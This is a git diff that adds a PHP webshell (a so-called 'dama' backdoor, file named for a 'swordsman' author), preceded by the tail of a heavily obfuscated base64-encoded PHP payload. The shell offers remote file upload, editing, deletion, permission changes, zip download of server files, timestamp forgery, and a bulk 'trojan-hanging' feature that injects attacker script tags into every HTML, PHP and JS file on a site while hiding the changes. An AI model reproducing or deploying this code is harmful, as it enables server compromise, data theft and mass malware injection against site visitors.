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\'.($?58?=?58?$?58?))))',"998fe3c4016b9062897b7d537b4b19cd".($?58?'VEVwWVlVVkZkbXjBc2pKRjhFOUVUdHBQUkU3V3N2VFkwclNvUnRLeXJxcnlUVVRPTVUrb1J0gnNjMkZUZFZWdGVEVkZhVWhhWT羢jJF8E9ETtpPRE7WsvTY0rSoRtKyrqryTUTOMU+oRt侼JdlJubHFXRFJxTUQwPQ==')); +return true;?>29d0ddd4a1eb2e862f5b7a80277541bd diff --git "a/php/\345\211\221\347\234\211\345\244\247\344\276\240\344\270\223\347\224\250php\345\244\247\351\251\254.php" "b/php/\345\211\221\347\234\211\345\244\247\344\276\240\344\270\223\347\224\250php\345\244\247\351\251\254.php" new file mode 100644 index 0000000..dbc5d6b --- /dev/null +++ "b/php/\345\211\221\347\234\211\345\244\247\344\276\240\344\270\223\347\224\250php\345\244\247\351\251\254.php" @@ -0,0 +1,1953 @@ + + *{padding:0; margin:0;} + body{background:threedface;font-family:"Verdana", "Tahoma", "宋体",sans-serif; font-size:13px;margin-top:3px;margin-bottom:3px;table-layout:fixed;word-break:break-all;} + a{color:#000000;text-decoration:none;} + a:hover{background:#BBBBBB;} + table{color:#000000;font-family:"Verdana", "Tahoma", "宋体",sans-serif;font-size:13px;border:1px solid #999999;} + td{background:#F9F6F4;} + .toptd{background:threedface; width:310px; border-color:#FFFFFF #999999 #999999 #FFFFFF; border-style:solid;border-width:1px;} + .msgbox{background:#FFFFE0;color:#FF0000;height:25px;font-size:12px;border:1px solid #999999;text-align:center;padding:3px;clear:both;} + .actall{background:#F9F6F4;font-size:14px;border:1px solid #999999;padding:2px;margin-top:3px;margin-bottom:3px;clear:both;} +\n +END; +return false; +} + +//文件管理 +class packdir +{ + var $out = ''; + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function packdir($array) + { + if(@function_exists('gzcompress')) + { + for($n = 0;$n < count($array);$n++) + { + $array[$n] = urldecode($array[$n]); + $fp = @fopen($array[$n], 'r'); + $filecode = @fread($fp, @filesize($array[$n])); + @fclose($fp); + $this -> filezip($filecode,basename($array[$n])); + } + @closedir($zhizhen); + $this->out = $this->packfile(); + return true; + } + return false; + } + function at($atunix = 0) + { + $unixarr = ($atunix == 0) ? getdate() : getdate($atunix); + if ($unixarr['year'] < 1980) + { + $unixarr['year'] = 1980; + $unixarr['mon'] = 1; + $unixarr['mday'] = 1; + $unixarr['hours'] = 0; + $unixarr['minutes'] = 0; + $unixarr['seconds'] = 0; + } + return (($unixarr['year'] - 1980) << 25) | ($unixarr['mon'] << 21) | ($unixarr['mday'] << 16) | ($unixarr['hours'] << 11) | ($unixarr['minutes'] << 5) | ($unixarr['seconds'] >> 1); + } + function filezip($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->at($time)); + $hexdtime = '\x'.$dtime[6].$dtime[7].'\x'.$dtime[4].$dtime[5].'\x'.$dtime[2].$dtime[3].'\x'.$dtime[0].$dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $c_len = strlen($zdata); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $this -> datasec[] = $fr; + $new_offset = strlen(implode('', $this->datasec)); + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset = $new_offset; + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function packfile() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return $data.$ctrldir.$this -> eof_ctrl_dir.pack('v', sizeof($this -> ctrl_dir)).pack('v', sizeof($this -> ctrl_dir)).pack('V', strlen($ctrldir)).pack('V', strlen($data))."\x00\x00"; + } +} + +function File_Str($string) +{ + return str_replace('//','/',str_replace('\\','/',$string)); +} + +function File_Size($size) +{ + if($size > 1073741824) $size = round($size / 1073741824 * 100) / 100 . ' G'; + elseif($size > 1048576) $size = round($size / 1048576 * 100) / 100 . ' M'; + elseif($size > 1024) $size = round($size / 1024 * 100) / 100 . ' K'; + else $size = $size . ' B'; + return $size; +} + +function File_Mode() +{ + $RealPath = realpath('./'); + $SelfPath = $_SERVER['PHP_SELF']; + $SelfPath = substr($SelfPath, 0, strrpos($SelfPath,'/')); + return File_Str(substr($RealPath, 0, strlen($RealPath) - strlen($SelfPath))); +} + +function File_Read($filename) +{ + $handle = @fopen($filename,"rb"); + $filecode = @fread($handle,@filesize($filename)); + @fclose($handle); + return $filecode; +} + +function File_Write($filename,$filecode,$filemode) +{ + $key = true; + $handle = @fopen($filename,$filemode); + if(!@fwrite($handle,$filecode)) + { + @chmod($filename,0666); + $key = @fwrite($handle,$filecode) ? true : false; + } + @fclose($handle); + return $key; +} + +function File_Up($filea,$fileb) +{ + $key = @copy($filea,$fileb) ? true : false; + if(!$key) $key = @move_uploaded_file($filea,$fileb) ? true : false; + return $key; +} + +function File_Down($filename) +{ + if(!file_exists($filename)) return false; + $filedown = basename($filename); + $array = explode('.', $filedown); + $arrayend = array_pop($array); + header('Content-type: application/x-'.$arrayend); + header('Content-Disposition: attachment; filename='.$filedown); + header('Content-Length: '.filesize($filename)); + @readfile($filename); + exit; +} + +function File_Deltree($deldir) +{ + if(($mydir = @opendir($deldir)) == NULL) return false; + while(false !== ($file = @readdir($mydir))) + { + $name = File_Str($deldir.'/'.$file); + if((is_dir($name)) && ($file!='.') && ($file!='..')){@chmod($name,0777);File_Deltree($name);} + if(is_file($name)){@chmod($name,0777);@unlink($name);} + } + @closedir($mydir); + @chmod($deldir,0777); + return @rmdir($deldir) ? true : false; +} + +function File_Act($array,$actall,$inver) +{ + if(($count = count($array)) == 0) return '请选择文件'; + if($actall == 'e') + { + $zip = new packdir; + if($zip->packdir($array)){$spider = $zip->out;header("Content-type: application/unknown");header("Accept-Ranges: bytes");header("Content-length: ".strlen($spider));header("Content-disposition: attachment; filename=".$inver.";");echo $spider;exit;} + return '打包所选文件失败'; + } + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '路径错误'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = '复制到'.$inver.'目录'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = '删除'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return '属性值错误'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '属性修改为'.$inver; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = '修改时间为'.$inver; break; + } + $i++; + } + return '所选文件'.$msg.'完毕'; +} + +function File_Edit($filepath,$filename,$dim = '') +{ + $THIS_DIR = urlencode($filepath); + $THIS_FILE = File_Str($filepath.'/'.$filename); + if(file_exists($THIS_FILE)){$FILE_TIME = @date('Y-m-d H:i:s',filemtime($THIS_FILE));$FILE_CODE = htmlspecialchars(File_Read($THIS_FILE));} + else {$FILE_TIME = @date('Y-m-d H:i:s',time());$FILE_CODE = '';} +print<< +var NS4 = (document.layers); +var IE4 = (document.all); +var win = this; +var n = 0; +function search(str){ + var txt, i, found; + if(str == "")return false; + if(NS4){ + if(!win.find(str)) while(win.find(str, false, true)) n++; else n++; + if(n == 0) alert(str + " ... Not-Find") + } + if(IE4){ + txt = win.document.body.createTextRange(); + for(i = 0; i <= n && (found = txt.findText(str)) != false; i++){ + txt.moveStart("character", 1); + txt.moveEnd("textedit") + } + if(found){txt.moveStart("character", -1);txt.findText(str);txt.select();txt.scrollIntoView();n++} + else{if (n > 0){n = 0;search(str)}else alert(str + "... Not-Find")} + } + return false +} +function CheckDate(){ + var re = document.getElementById('mtime').value; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('editor').submit();} +} + +
                查找内容: +
                +
                +
                +
                +
                文件修改时间
                +
                +
                +
                +END; +} + +function File_Soup($p) +{ + $THIS_DIR = urlencode($p); + $UP_SIZE = get_cfg_var('upload_max_filesize'); + $MSG_BOX = '单个附件允许大小:'.$UP_SIZE.', 改名格式(new.php),如为空,则保持原文件名.'; + if(!empty($_POST['updir'])) + { + if(count($_FILES['soup']) >= 1) + { + $i = 0; + foreach ($_FILES['soup']['error'] as $key => $error) + { + if ($error == UPLOAD_ERR_OK) + { + $souptmp = $_FILES['soup']['tmp_name'][$key]; + if(!empty($_POST['reup'][$i]))$soupname = $_POST['reup'][$i]; else $soupname = $_FILES['soup']['name'][$key]; + $MSG[$i] = File_Up($souptmp,File_Str($_POST['updir'].'/'.$soupname)) ? $soupname.'上传成功' : $soupname.'上传失败'; + } + $i++; + } + } + else + { + $MSG_BOX = '请选择文件'; + } + } +print<<{$MSG_BOX} +
                +
                上传到目录:
                +
                附件1 改名 $MSG[0]
                +
                附件2 改名 $MSG[1]
                +
                附件3 改名 $MSG[2]
                +
                附件4 改名 $MSG[3]
                +
                附件5 改名 $MSG[4]
                +
                附件6 改名 $MSG[5]
                +
                附件7 改名 $MSG[6]
                +
                附件8 改名 $MSG[7]
                +
                +
                +END; +} + +function File_a($p) +{ + if(!$_SERVER['SERVER_NAME']) $GETURL = ''; else $GETURL = 'http://'.$_SERVER['SERVER_NAME'].'/'; + $MSG_BOX = '等待消息队列'; + $UP_DIR = urlencode(File_Str($p.'/..')); + $REAL_DIR = File_Str(realpath($p)); + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); + $THIS_DIR = urlencode(File_Str($REAL_DIR)); + $NUM_D = 0; + $NUM_F = 0; + if(!empty($_POST['pfn'])){$intime = @strtotime($_POST['mtime']);$MSG_BOX = File_Write($_POST['pfn'],$_POST['pfc'],'wb') ? '编辑文件 '.$_POST['pfn'].' 成功' : '编辑文件 '.$_POST['pfn'].' 失败';@touch($_POST['pfn'],$intime);} + if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST['ufn']; else $upfilename = $_FILES['ufp']['name'];$MSG_BOX = File_Up($_FILES['ufp']['tmp_name'],File_Str($REAL_DIR.'/'.$upfilename)) ? '上传文件 '.$upfilename.' 成功' : '上传文件 '.$upfilename.' 失败';} + if(!empty($_POST['actall'])){$MSG_BOX = File_Act($_POST['files'],$_POST['actall'],$_POST['inver']);} + if(isset($_GET['md'])){$modfile = File_Str($REAL_DIR.'/'.$_GET['mk']); if(!eregi("^[0-7]{4}$",$_GET['md'])) $MSG_BOX = '属性值错误'; else $MSG_BOX = @chmod($modfile,base_convert($_GET['md'],8,10)) ? '修改 '.$modfile.' 属性为 '.$_GET['md'].' 成功' : '修改 '.$modfile.' 属性为 '.$_GET['md'].' 失败';} + if(isset($_GET['mn'])){$MSG_BOX = @rename(File_Str($REAL_DIR.'/'.$_GET['mn']),File_Str($REAL_DIR.'/'.$_GET['rn'])) ? '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 成功' : '改名 '.$_GET['mn'].' 为 '.$_GET['rn'].' 失败';} + if(isset($_GET['dn'])){$MSG_BOX = @mkdir(File_Str($REAL_DIR.'/'.$_GET['dn']),0777) ? '创建目录 '.$_GET['dn'].' 成功' : '创建目录 '.$_GET['dn'].' 失败';} + if(isset($_GET['dd'])){$MSG_BOX = File_Deltree($_GET['dd']) ? '删除目录 '.$_GET['dd'].' 成功' : '删除目录 '.$_GET['dd'].' 失败';} + if(isset($_GET['df'])){if(!File_Down($_GET['df'])) $MSG_BOX = '下载文件不存在';} + Root_CSS(); +print<< + function Inputok(msg,gourl) + { + smsg = "当前文件:[" + msg + "]"; + re = prompt(smsg,unescape(msg)); + if(re) + { + var url = gourl + escape(re); + window.location = url; + } + } + function Delok(msg,gourl) + { + smsg = "确定要删除[" + unescape(msg) + "]吗?"; + if(confirm(smsg)) + { + if(gourl == 'b') + { + document.getElementById('actall').value = escape(gourl); + document.getElementById('fileall').submit(); + } + else window.location = gourl; + } + } + function CheckDate(msg,gourl) + { + smsg = "当前文件时间:[" + msg + "]"; + re = prompt(smsg,msg); + if(re) + { + var url = gourl + re; + var reg = /^(\\d{1,4})(-|\\/)(\\d{1,2})\\2(\\d{1,2}) (\\d{1,2}):(\\d{1,2}):(\\d{1,2})$/; + var r = re.match(reg); + if(r==null){alert('日期格式不正确!格式:yyyy-mm-dd hh:mm:ss');return false;} + else{document.getElementById('actall').value = gourl; document.getElementById('inver').value = re; document.getElementById('fileall').submit();} + } + } + function CheckAll(form) + { + for(var i=0;i +
                {$MSG_BOX}
                +
                +
                + +
                +
                +
                + + + + + + +
                +
                +
                + + + + + + +END; + if(($h_d = @opendir($p)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(is_dir($Filepath)) + { + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filepath = urlencode($Filepath); + echo "\r\n".' '; + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_D++; + } + } + @rewinddir($h_d); + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' or $Filename == '..') continue; + $Filepath = File_Str($REAL_DIR.'/'.$Filename); + if(!is_dir($Filepath)) + { + $Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath); + $Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4); + $Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath)); + $Filesize = File_Size(@filesize($Filepath)); + if($Filepath == File_Str(__FILE__)) $fname = ''.$Filename.''; else $fname = $Filename; + echo "\r\n".' '; + $Filepath = urlencode($Filepath); + $Filename = urlencode($Filename); + echo ' '; + echo ' '; + echo ' '; + echo ' '."\r\n"; + $NUM_F++; + } + } + @closedir($h_d); + if(!$Filetime) $Filetime = '2009-01-01 00:00:00'; +print<< +
                + + + + + + + +目录({$NUM_D}) / 文件({$NUM_F})
                + +END; + return true; +} + +//批量挂马 +function Guama_Pass($length) +{ + $possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + $str = ""; + while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1); + return $str; +} + +function Guama_Make($codea,$codeb,$codec) +{ + return str_replace($codea,Guama_Pass($codeb),$codec); +} + +function Guama_Auto($gp,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb) +{ + if(($h_d = @opendir($gp)) == NULL) return false; + if($gm > 12) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + if($gl != ''){if(eregi($gl,$Filename)) continue;} + $Filepath = File_Str($gp.'/'.$Filename); + if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$gm,$gf,$gi,$gk,$gd,$gb); + if(eregi($gt,$Filename)) + { + $fc = File_Read($Filepath); + if(($gk != '') && (stristr($fc,chop($gk)))) continue; + if(($gf != '') && ($gm != 0)) $gcm = Guama_Make($gf,$gm,$gc); else $gcm = $gc; + if($gd) $ftime = @filemtime($Filepath); + if($gi == 'a'){if(!stristr($fc,'')) continue; $fcm = str_replace('',"\r\n".$gcm."\r\n".'',$fc); $fcm = str_replace('',"\r\n".$gcm."\r\n".'',$fcm);} + if($gi == 'b') $fcm = $gcm."\r\n".$fc; + if($gi == 'c') $fcm = $fc."\r\n".$gcm; + echo File_Write($Filepath,$fcm,'wb') ? '成功:'.$Filepath.'
                '."\r\n" : '失败:'.$Filepath.'
                '."\r\n"; + if($gd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Guama_b() +{ + if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc']))) + { + echo '
                '; + $_POST['gt'] = str_replace('.','\\.',$_POST['gt']); + if($_POST['inout'] == 'a') $_POST['gl'] = str_replace('.','\\.',$_POST['gl']); else $_POST['gl'] = ''; + if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')) + { + $temp = explode('[-',$_POST['gc']); + $gk = $temp[0]; + preg_match_all("/\[\-([^~]*?)\-\]/i",$_POST['gc'],$nc); + if(!eregi("^[0-9]{1,2}$",$nc[1][0])){echo '异常终止'; return false;} + $gm = (int)$nc[1][0]; + $gf = $nc[0][0]; + } + else + { + $gk = $_POST['gc']; + $gm = 0; + $gf = ''; + } + if(!isset($_POST['gx'])) $gk = ''; + $gd = isset($_POST['gd']) ? true : false; + $gb = ($_POST['gb'] == 'a') ? true : false; + echo Guama_Auto($_POST['gp'],$_POST['gt'],$_POST['gl'],$_POST['gc'],$gm,$gf,$_POST['gi'],$gk,$gd,$gb) ? '挂马完毕' : '异常终止'; + echo '
                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fulll(i) +{ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];} + return true; +} +function autorun() +{ + if(document.getElementById('gp').value == ''){alert('挂马路径不能为空');return false;} + if(document.getElementById('gt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('gc').value == ''){alert('挂马代码不能为空');return false;} + document.getElementById('sform').submit(); +} + +
                +
                挂马路径 +
                +
                文件类型 +
                +
                过滤对象 +开启 关闭
                +
                挂马代码 +
                挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签. +
                挂上示例: <script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"></script>
                +
                插入</head>标签之前 +插入文件最顶端 +插入文件最末尾
                +
                智能过滤重复代码 保持文件修改时间不变
                +
                将挂马应用于该文件夹,子文件夹和文件 +
                仅将挂马应用于该文件夹
                +
                + +END; +return true; +} + +//批量清马 + +function Qingma_Auto($qp,$qt,$qc,$qd,$qb) +{ + if(($h_d = @opendir($qp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($qp.'/'.$Filename); + if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb); + if(eregi($qt,$Filename)) + { + $ic = File_Read($Filepath); + if(!stristr($ic,$qc)) continue; + $ic = str_replace($qc,'',$ic); + if($qd) $ftime = @filemtime($Filepath); + echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                '."\r\n" : '失败:'.$Filepath.'
                '."\r\n"; + if($qd) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Qingma_c() +{ + if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc']))) + { + echo '
                '; + $qt = str_replace('.','\\.',$_POST['qt']); + $qd = isset($_POST['qd']) ? true : false; + $qb = ($_POST['qb'] == 'a') ? true : false; + echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? '清马完毕' : '异常终止'; + echo '
                '; + return false; + } + $FILE_DIR = File_Str(dirname(__FILE__)); + $ROOT_DIR = File_Mode(); +print<< +function Fullll(i){ + if(i==0) return false; + Str = new Array(5); + if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];} + else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];} + return true; +} +function autoup(){ + if(document.getElementById('qp').value == ''){alert('清马路径不能为空');return false;} + if(document.getElementById('qt').value == ''){alert('文件类型不能为空');return false;} + if(document.getElementById('qc').value == ''){alert('清除代码不能为空');return false;} + document.getElementById('xform').submit(); +} + +
                +
                清马路径 +
                +
                文件类型 +
                +
                清除代码
                +
                保持文件修改时间不变
                +
                将清马应用于该文件夹,子文件夹和文件 +
                仅将清马应用于该文件夹
                +
                + +END; + return true; +} + +//批量替换 + +function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb) +{ + if(($h_d = @opendir($tp)) == NULL) return false; + while(false !== ($Filename = @readdir($h_d))) + { + if($Filename == '.' || $Filename == '..') continue; + $Filepath = File_Str($tp.'/'.$Filename); + if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb); + $doing = false; + if(eregi($tt,$Filename)) + { + $ic = File_Read($Filepath); + if($th) + { + if(!stristr($ic,$tca)) continue; + $ic = str_replace($tca,$tcb,$ic); + $doing = true; + } + else + { + preg_match_all("/href\=\"([^~]*?)\"/i",$ic,$nc); + for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}} + } + if($td) $ftime = @filemtime($Filepath); + if($doing) echo File_Write($Filepath,$ic,'wb') ? '成功:'.$Filepath.'
                '."\r\n" : '失败:'.$Filepath.'
                '."\r\n"; + if($td) @touch($Filepath,$ftime); + ob_flush(); + flush(); + } + } + @closedir($h_d); + return true; +} + +function Tihuan_d() +{ + if((!empty($_POST['tp'])) && (!empty($_POST['tt']))) + { + echo '
                '; + $tt = str_replace('.','\\.',$_POST['tt']); + $td = isset($_POST['td']) ? true : false; + $tb = ($_POST['tb'] == 'a') ? true : false; + $th = ($_POST['th'] == 'a') ? true : false; + if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']); + echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? '替换完毕' : '异常终止'; + echo '
